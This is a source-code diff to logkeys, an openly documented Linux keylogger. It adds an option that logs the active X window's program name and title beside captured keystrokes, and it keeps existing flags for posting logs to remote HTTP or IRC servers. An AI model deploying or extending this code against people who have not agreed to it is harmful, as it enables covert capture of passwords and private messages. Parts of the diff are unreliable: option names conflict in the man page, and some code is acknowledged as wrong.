diff --git a/man/logkeys.8 b/man/logkeys.8 index dc99c42..b427a59 100644 --- a/man/logkeys.8 +++ b/man/logkeys.8 @@ -102,6 +102,11 @@ logged, influenced by Shift and AltGr modifiers. When this option is set, logkeys doesn't prepend timestamp to each line of log file. Timestamps are only logged when logkeys starts and stops. +.TP +\fB-\-windowtitle\fR +When this option is set, logkeys will log the program name and window title of +the active X window on a new line. + .TP \fB-\-post-size=\fISIZE\fR When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR, @@ -154,6 +159,12 @@ combination is pressed, a timestamp is appended on a new line (provided Timestamp format is "%F\ %T%z", which results in "YYYY-mm-dd HH:MM:SS+ZZZZ". Timestamp is separated from the logged keys by one '>' symbol. .PP +When \fB-\-window-title\fR is in effect the program name and the window title of the +active X window will be inserted between the timestamp and a final '>' symbol. The +maximum length of both the program-name and window-name strings is 150 characters. +The Enter key will NOT trigger the logging of window information. +The format is: ["Program-name"] "Window title" > +.PP All character key presses are logged as they appear. All function key presses are replaced with strings as obtained from \fIkeymap\fR file, or as hardcoded when no \fIkeymap\fR file is provided. @@ -206,6 +217,21 @@ Logging stopped at 2009-12-11 09:58:54+0100 .PP Even when \fB-\-no-func-keys\fR is in effect, Space and Tab key presses are logged as a single space character. +.PP +If the same log was obtained by a logkeys process invoked with \fB-\-no-window-title\fR +option, it would look like: +.IP +Logging started ... +.IP +2009-12-11 09:58:19+0100 > ["Gnome-terminal"] "logkeys@linux-server:~" > make +.br +2009-12-11 09:58:20+0100 > make install +.br +2009-12-11 09:58:30+0100 > ["Firefox"] "New Tab - Mozilla Firefox" > tgoogle.com +.br +2009-12-11 09:58:39+0100 > logkeys github +.IP +Logging stopped at 2009-12-11 09:58:54+0100 .SH "KEYMAP FORMAT" diff --git a/src/args.cc b/src/args.cc index fc1a316..88e6b58 100644 --- a/src/args.cc +++ b/src/args.cc @@ -30,9 +30,10 @@ struct arguments #define FLAG_EXPORT_KEYMAP 0x1 // export keymap obtained from dumpkeys, --export-keymap is used #define FLAG_NO_FUNC_KEYS 0x2 // only log character keys (e.g. 'c', '2', etc.) and don't log function keys (e.g. , etc.), --no-func-keys switch #define FLAG_NO_TIMESTAMPS 0x4 // don't log timestamps, --no-timestamps switch -#define FLAG_POST_HTTP 0x8 // post log to remote HTTP server, --post-http switch -#define FLAG_POST_IRC 0x10 // post log to remote IRC server, --post-irc switch -#define FLAG_POST_SIZE 0x20 // post log to remote HTTP or IRC server when log of size optarg, --post-size +#define FLAG_WINDOW_TITLE 0x8 // log window name and title of program, --window-title switch +#define FLAG_POST_HTTP 0x10 // post log to remote HTTP server, --post-http switch +#define FLAG_POST_IRC 0x20 // post log to remote IRC server, --post-irc switch +#define FLAG_POST_SIZE 0x40 // post log to remote HTTP or IRC server when log of size optarg, --post-size } args = {0}; // default all args to 0x0 or "" @@ -51,6 +52,7 @@ void process_command_line_arguments(int argc, char **argv) {"export-keymap", required_argument, &flags, FLAG_EXPORT_KEYMAP}, {"no-func-keys", no_argument, &flags, FLAG_NO_FUNC_KEYS}, {"no-timestamps", no_argument, &flags, FLAG_NO_TIMESTAMPS}, + {"window-title", no_argument, &flags, FLAG_WINDOW_TITLE}, {"post-http", required_argument, &flags, FLAG_POST_HTTP}, {"post-irc", required_argument, &flags, FLAG_POST_IRC}, {"post-size", required_argument, &flags, FLAG_POST_SIZE}, @@ -59,7 +61,7 @@ void process_command_line_arguments(int argc, char **argv) char c; int option_index; - + while ((c = getopt_long(argc, argv, "sm:o:ukd:?", long_options, &option_index)) != -1) { switch (c) @@ -71,8 +73,9 @@ void process_command_line_arguments(int argc, char **argv) case 'k': args.kill = true; break; case 'd': args.device = optarg; break; - case 0 : + case 0 : args.flags |= flags; + switch (flags) { case FLAG_EXPORT_KEYMAP: args.keymap = optarg; break; @@ -111,7 +114,7 @@ void process_command_line_arguments(int argc, char **argv) default : usage(); exit(EXIT_FAILURE); } } // while - + while(optind < argc) error(0, 0, "Non-option argument %s", argv[optind++]); } diff --git a/src/logkeys.cc b/src/logkeys.cc index 58bf5b8..721e4fc 100644 --- a/src/logkeys.cc +++ b/src/logkeys.cc @@ -48,10 +48,20 @@ #define COMMAND_STR_DUMPKEYS ( EXE_DUMPKEYS " -n | " EXE_GREP " '^\\([[:space:]]shift[[:space:]]\\)*\\([[:space:]]altgr[[:space:]]\\)*keycode'" ) #define COMMAND_STR_GET_PID ( (std::string(EXE_PS " ax | " EXE_GREP " '") + program_invocation_name + "' | " EXE_GREP " -v grep").c_str() ) +#define COMMAND_STR_DEVICE EXE_GREP " -E 'Handlers|EV' /proc/bus/input/devices | " EXE_GREP " -B1 120013 | " EXE_GREP " -Eo event[0-9]+" + +// active window id, title, name +#define COMMAND_STR_AWID "xprop -root 32x '\\t$0' _NET_ACTIVE_WINDOW | cut -f 2" +#define COMMAND_XPROPID "xprop -id " +#define COMMAND_WMCLASS " 0s '\\t$1' WM_CLASS | cut -f2-" +#define COMMAND_WMNAME " _NET_WM_NAME | cut -d'=' -f2-" + #define INPUT_EVENT_PATH "/dev/input/" // standard path #define DEFAULT_LOG_FILE "/var/log/logkeys.log" #define PID_FILE "/var/run/logkeys.pid" +#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ + #include "usage.cc" // usage() function #include "args.cc" // global arguments struct and arguments parsing #include "keytables.cc" // character and function key tables and helper functions @@ -68,13 +78,12 @@ std::string execute(const char* cmd) char buffer[128]; std::string result = ""; while(!feof(pipe)) - if(fgets(buffer, 128, pipe) != NULL) - result += buffer; + if(fgets(buffer, 128, pipe) != NULL) + result += buffer; pclose(pipe); - return result; + return result.erase(result.size()-1); } - int input_fd = -1; // input event device file descriptor; global so that signal_handler() can access it void signal_handler(int signal) @@ -331,9 +340,8 @@ void determine_input_device() // extract input number from /proc/bus/input/devices (I don't know how to do it better. If you have an idea, please let me know.) // The compiler automatically concatenates these adjacent strings to a single string. - const char* cmd = EXE_GREP " -E 'Handlers|EV=' /proc/bus/input/devices | " - EXE_GREP " -B1 'EV=1[02]001[3Ff]' | " - EXE_GREP " -Eo 'event[0-9]+' "; + const char* cmd = COMMAND_STR_DEVICE; + std::stringstream output(execute(cmd)); std::vector results; @@ -367,6 +375,59 @@ void determine_input_device() seteuid(0); setegid(0); } +// write newline then add timestamp and programinfo +////event is wrong use refercen or pointer +inline int newline(FILE *& out, struct input_event event, bool program_changed, std::string program_info) { + char timestamp[32]; + int inc_size = fprintf(out, "\n"); + + if (!(args.flags & FLAG_NO_TIMESTAMPS)) { + strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&event.time.tv_sec)); + inc_size += fprintf(out, "%s", timestamp); + } + if (program_changed) + inc_size += fprintf(out, "%s", program_info.c_str()); + + return inc_size; +} + +inline int encode_char(FILE *& out, unsigned int scan_code, bool altgr_in_effect, bool shift_in_effect) { + int inc_size = 0; + if (is_char_key(scan_code)) { + wchar_t wch; + if (altgr_in_effect) { + wch = altgr_keys[to_char_keys_index(scan_code)]; + if (wch == L'\0') { + if(shift_in_effect) + wch = shift_keys[to_char_keys_index(scan_code)]; + else + wch = char_keys[to_char_keys_index(scan_code)]; + } + } + else if (shift_in_effect) { + wch = shift_keys[to_char_keys_index(scan_code)]; + if (wch == L'\0') + wch = char_keys[to_char_keys_index(scan_code)]; + } + else // neither altgr nor shift are effective, this is a normal char + wch = char_keys[to_char_keys_index(scan_code)]; + + if (wch != L'\0') + inc_size += fprintf(out, "%lc", wch); // write character to log file + } + else if (is_func_key(scan_code)) { + if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested + inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); + } + else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { + inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys + } + } + else + inc_size += fprintf(out, "", scan_code); // keycode is neither of character nor function, log error + + return inc_size; +} int main(int argc, char **argv) { @@ -465,15 +526,24 @@ int main(int argc, char **argv) time_t cur_time; time(&cur_time); -#define TIME_FORMAT "%F %T%z > " // results in YYYY-mm-dd HH:MM:SS+ZZZZ strftime(timestamp, sizeof(timestamp), TIME_FORMAT, localtime(&cur_time)); if (args.flags & FLAG_NO_TIMESTAMPS) file_size += fprintf(out, "Logging started at %s\n\n", timestamp); else - file_size += fprintf(out, "Logging started ...\n\n%s", timestamp); - fflush(out); + file_size += fprintf(out, "Logging started ...\n\n"); + fflush(out); + + // programinfo + std::string window_id; + std::string old_window_id; + std::string process_name; + std::string window_title; + std::string program_info; + char placeholder [151]; + bool program_changed = false; + // infinite loop: exit gracefully by receiving SIGHUP, SIGINT or SIGTERM (of which handler closes input_fd) while (read(input_fd, &event, sizeof(struct input_event)) > 0) { @@ -487,12 +557,12 @@ int main(int argc, char **argv) inc_size = 0; scan_code = event.code; - if (scan_code >= sizeof(char_or_func)) { // keycode out of range, log error + if (scan_code >= sizeof(char_or_func)) { // keqycode out of range, log error inc_size += fprintf(out, "", scan_code); if (inc_size > 0) file_size += inc_size; continue; } - + // if remote posting is enabled and size treshold is reached if (args.post_size != 0 && file_size >= args.post_size && stat(UPLOADER_PID_FILE, &st) == -1) { fclose(out); @@ -531,7 +601,7 @@ int main(int argc, char **argv) } } } - + // on key repeat ; must check before on key press if (event.value == EV_REPEAT) { ++count_repeats; @@ -545,63 +615,50 @@ int main(int argc, char **argv) } count_repeats = 0; // reset count for future use } - + // on key press if (event.value == EV_MAKE) { - - // on ENTER key or Ctrl+C/Ctrl+D event append timestamp - if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER || - (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { - if (ctrl_in_effect) - inc_size += fprintf(out, "%lc", char_keys[to_char_keys_index(scan_code)]); // log C or D - if (args.flags & FLAG_NO_TIMESTAMPS) - inc_size += fprintf(out, "\n"); - else { - strftime(timestamp, sizeof(timestamp), "\n" TIME_FORMAT, localtime(&event.time.tv_sec)); - inc_size += fprintf(out, "%s", timestamp); // then newline and timestamp + + // on processid change, update window-title write '["process name"] "window title" > ' + // it's in the EV_MAKE clause because we are only interested in "visible" keypresses + if (args.flags & FLAG_WINDOW_TITLE) { + window_id = execute(COMMAND_STR_AWID); + + if (window_id.compare(old_window_id) != 0) { + snprintf(placeholder, sizeof(placeholder), COMMAND_XPROPID "%s" COMMAND_WMCLASS, window_id.c_str()); + process_name = execute(placeholder); + snprintf(placeholder, sizeof(placeholder), COMMAND_XPROPID "%s" COMMAND_WMNAME, window_id.c_str()); + window_title = execute(placeholder); + + program_info = "[" + process_name + "]" + window_title + " > "; + program_changed = true; } - if (inc_size > 0) file_size += inc_size; - continue; // but don't log "" } - - if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) - shift_in_effect = true; - if (scan_code == KEY_RIGHTALT) - altgr_in_effect = true; - if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) - ctrl_in_effect = true; - - // print character or string coresponding to received keycode; only print chars when not \0 - if (is_char_key(scan_code)) { - wchar_t wch; - if (altgr_in_effect) { - wch = altgr_keys[to_char_keys_index(scan_code)]; - if (wch == L'\0') { - if(shift_in_effect) - wch = shift_keys[to_char_keys_index(scan_code)]; - else - wch = char_keys[to_char_keys_index(scan_code)]; - } - } - else if (shift_in_effect) { - wch = shift_keys[to_char_keys_index(scan_code)]; - if (wch == L'\0') - wch = char_keys[to_char_keys_index(scan_code)]; - } - else // neither altgr nor shift are effective, this is a normal char - wch = char_keys[to_char_keys_index(scan_code)]; - - if (wch != L'\0') inc_size += fprintf(out, "%lc", wch); // write character to log file + + // on ENTER key or Ctrl+C/Ctrl+D event append timestamp and window-title + if (scan_code == KEY_ENTER || scan_code == KEY_KPENTER) { + inc_size += newline(out, event, program_changed, program_info); } - else if (is_func_key(scan_code)) { - if (!(args.flags & FLAG_NO_FUNC_KEYS)) { // only log function keys if --no-func-keys not requested - inc_size += fprintf(out, "%ls", func_keys[to_func_keys_index(scan_code)]); - } - else if (scan_code == KEY_SPACE || scan_code == KEY_TAB) { - inc_size += fprintf(out, " "); // but always log a single space for Space and Tab keys - } + else if (program_changed || (ctrl_in_effect && (scan_code == KEY_C || scan_code == KEY_D))) { + inc_size += newline(out, event, program_changed, program_info); + inc_size += encode_char(out, scan_code, altgr_in_effect, shift_in_effect); + } + else { // normal char + if (scan_code == KEY_LEFTSHIFT || scan_code == KEY_RIGHTSHIFT) + shift_in_effect = true; + if (scan_code == KEY_RIGHTALT) + altgr_in_effect = true; + if (scan_code == KEY_LEFTCTRL || scan_code == KEY_RIGHTCTRL) + ctrl_in_effect = true; + + inc_size += encode_char(out, scan_code, altgr_in_effect, shift_in_effect); // print character or string coresponding to received keycode; only print chars when not \0 + } + + // update program id + if (args.flags & FLAG_WINDOW_TITLE) { + old_window_id = window_id; + program_changed = false; } - else inc_size += fprintf(out, "", scan_code); // keycode is neither of character nor function, log error } // if (EV_MAKE) // on key release @@ -616,14 +673,15 @@ int main(int argc, char **argv) prev_code = scan_code; fflush(out); - if (inc_size > 0) file_size += inc_size; + if (inc_size > 0) + file_size += inc_size; } // while (read(input_fd)) // append final timestamp, close files and exit time(&cur_time); - strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time)); - fprintf(out, "\n\nLogging stopped at %s\n\n", timestamp); + strftime(timestamp, sizeof(timestamp), "%F %T%z", localtime(&cur_time)); + fprintf(out, "\n\nLogging stopped at %s\n\n", timestamp); fclose(out); diff --git a/src/usage.cc b/src/usage.cc index c734614..6657339 100644 --- a/src/usage.cc +++ b/src/usage.cc @@ -27,6 +27,7 @@ void usage() " --export-keymap=FILE export configured keymap to FILE and exit\n" " --no-func-keys log only character keys\n" " --no-timestamps don't prepend timestamps to log file lines\n" +" --window-title add active program window name and window title to log file\n" " --post-http=URL POST log to URL as multipart/form-data file\n" //" --post-irc=FORMAT FORMAT is nick_or_channel@server:port\n" " --post-size=SIZE post log file when size equals SIZE [500k]\n"